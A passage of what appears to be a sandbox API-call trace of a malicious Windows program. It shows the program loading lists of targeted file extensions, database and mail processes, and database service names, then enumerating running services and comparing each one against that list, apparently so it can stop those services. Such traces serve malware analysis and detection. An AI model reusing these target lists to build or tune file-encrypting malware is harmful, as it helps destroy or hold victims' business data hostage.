(HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x649208 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677ba8 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649208, Size=0x8) returned 0x649268 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677cc8 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649268, Size=0x10) returned 0x677ce0 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677c50 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677bc0 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ce0, Size=0x20) returned 0x63b0b0 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677b78 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677bd8 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6491e8, Size=0x8) returned 0x649208 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649238, Size=0x8) returned 0x6491e8 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x649218 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677b48 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x649268 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677c08 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649268, Size=0x8) returned 0x649228 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677d10 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649228, Size=0x10) returned 0x677c20 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677bf0 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x649228 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677c20, Size=0x20) returned 0x66f7b8 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649208, Size=0x10) returned 0x677ab8 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6491e8, Size=0x10) returned 0x677b18 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x649268 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677ae8 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6491e8 [0239.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677b30 [0239.901] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6491e8, Size=0x8) returned 0x649208 [0239.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6491e8 [0239.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677a88 [0239.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x649238 [0239.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677a58 [0239.902] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649238, Size=0x8) returned 0x678528 [0239.902] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ab8, Size=0x20) returned 0x66f970 [0239.902] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677b18, Size=0x20) returned 0x66f6a0 [0239.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8) returned 0x6784b8 [0239.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677c20 [0239.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x678598 [0239.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x677aa0 [0239.902] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678598, Size=0x8) returned 0x678488 [0239.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x6474f8 [0239.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x647698 [0239.902] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0239.902] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x63e4b0 | out: hHeap=0x630000) returned 1 [0239.902] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677c38 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677c38, Size=0x20) returned 0x66f998 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f998, Size=0x40) returned 0x642968 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642968, Size=0x80) returned 0x63f4e0 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x63f4e0, Size=0x100) returned 0x63e4b0 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677b00 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677b00, Size=0x20) returned 0x66f718 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66f718, Size=0x40) returned 0x642a40 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x642a40, Size=0x80) returned 0x63f4e0 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x63f4e0, Size=0x100) returned 0x641e70 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677c38 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x6785a8 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x677ab8 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6785a8, Size=0x8) returned 0x678608 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x647758 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678608, Size=0x10) returned 0x677ad0 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x647778 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x66f7e0 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677ad0, Size=0x20) returned 0x66f628 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c) returned 0x66f740 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x16) returned 0x647458 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a) returned 0x66f8a8 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x677d28 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4) returned 0x678568 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x40) returned 0x642338 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678568, Size=0x8) returned 0x678468 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3c) returned 0x642458 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678468, Size=0x10) returned 0x677c68 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x14) returned 0x647598 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x18) returned 0x647518 [0239.914] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x677c68, Size=0x20) returned 0x66f718 [0239.914] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x24) returned 0x646080 [0239.915] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0239.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x63e4b0 | out: hHeap=0x630000) returned 1 [0239.915] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0239.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x641e70 | out: hHeap=0x630000) returned 1 [0239.915] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66f6c8 [0240.039] EnumServicesStatusExW (in: hSCManager=0x66f6c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0 [0240.043] GetLastError () returned 0xea [0240.043] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1b4e) returned 0x6acba8 [0240.043] EnumServicesStatusExW (in: hSCManager=0x66f6c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6acba8, cbBufSize=0x1b4e, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6acba8, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1 [0240.044] CloseServiceHandle (hSCObject=0x66f6c8) returned 1 [0240.045] lstrlenW (lpString="AppXSvc") returned 7 [0240.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0240.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0240.045] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0240.045] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0240.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0240.045] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0240.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0240.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0240.045] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0240.045] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0240.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0240.045] lstrlenW (lpString="Audiosrv") returned 8 [0240.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0240.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0240.045] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0240.045] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0240.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0240.046] lstrlenW (lpString="BFE") returned 3 [0240.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0240.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0240.046] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0240.046] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0240.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0240.046] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0240.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0240.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0240.046] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0240.046] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0240.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0240.046] lstrlenW (lpString="CDPSvc") returned 6 [0240.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0240.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0240.046] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0240.046] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0240.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0240.046] lstrlenW (lpString="ClickToRunSvc") returned 13 [0240.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0240.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0240.047] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0240.047] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0240.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0240.047] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0240.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0240.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0240.047] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0240.047] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0240.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0240.047] lstrlenW (lpString="CryptSvc") returned 8 [0240.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0240.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0240.047] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0240.047] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0240.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0240.047] lstrlenW (lpString="DcomLaunch") returned 10 [0240.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0240.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0240.047] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0240.047] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0240.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0240.047] lstrlenW (lpString="DeviceAssociationService") returned 24 [0240.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0240.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0240.048] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0240.048] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0240.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0240.048] lstrlenW (lpString="Dhcp") returned 4 [0240.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0240.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0240.048] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0240.048] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0240.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0240.048] lstrlenW (lpString="Dnscache") returned 8 [0240.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0240.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0240.048] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0240.048] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0240.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0240.048] lstrlenW (lpString="DPS") returned 3 [0240.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0240.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0240.048] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0240.048] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0240.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0240.048] lstrlenW (lpString="DusmSvc") returned 7 [0240.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0240.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0240.048] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0240.048] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0240.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0240.048] lstrlenW (lpString="EventLog") returned 8 [0240.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0240.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0240.048] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0240.048] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0240.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0240.048] lstrlenW (lpString="EventSystem") returned 11 [0240.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0240.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0240.049] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0240.049] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0240.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0240.049] lstrlenW (lpString="FontCache") returned 9 [0240.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0240.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0240.049] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0240.049] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0240.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0240.049] lstrlenW (lpString="gpsvc") returned 5 [0240.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0240.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0240.049] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0240.049] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0240.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0240.049] lstrlenW (lpString="iphlpsvc") returned 8 [0240.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0240.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0240.049] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0240.049] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0240.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0240.049] lstrlenW (lpString="KeyIso") returned 6 [0240.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0240.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0240.049] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0240.049] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0240.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0240.049] lstrlenW (lpString="LanmanServer") returned 12 [0240.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0240.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0240.049] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0240.050] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0240.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0240.050] lstrlenW (lpString="LanmanWorkstation") returned 17 [0240.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0240.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0240.050] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0240.050] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0240.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0240.050] lstrlenW (lpString="lfsvc") returned 5 [0240.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0240.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0240.050] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0240.050] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0240.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0240.050] lstrlenW (lpString="lmhosts") returned 7 [0240.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0240.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0240.050] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0240.050] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0240.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0240.050] lstrlenW (lpString="LSM") returned 3 [0240.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0240.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0240.050] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0240.050] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0240.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0240.050] lstrlenW (lpString="MpsSvc") returned 6 [0240.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0240.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0240.050] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0240.051] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0240.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0240.051] lstrlenW (lpString="NcbService") returned 10 [0240.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0240.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0240.051] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0240.051] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0240.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0240.051] lstrlenW (lpString="netprofm") returned 8 [0240.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0240.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0240.051] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0240.051] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0240.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0240.051] lstrlenW (lpString="NgcSvc") returned 6 [0240.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0240.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0240.051] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0240.051] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0240.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0240.051] lstrlenW (lpString="NlaSvc") returned 6 [0240.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0240.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0240.051] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0240.051] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0240.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0240.051] lstrlenW (lpString="nsi") returned 3 [0240.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0240.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0240.051] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0240.051] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0240.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0240.052] lstrlenW (lpString="PcaSvc") returned 6 [0240.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0240.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0240.052] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0240.052] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0240.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0240.052] lstrlenW (lpString="PlugPlay") returned 8 [0240.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0240.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0240.052] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0240.052] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0240.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0240.052] lstrlenW (lpString="Power") returned 5 [0240.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0240.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0240.052] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0240.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0240.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0240.052] lstrlenW (lpString="ProfSvc") returned 7 [0240.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0240.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0240.052] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0240.052] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 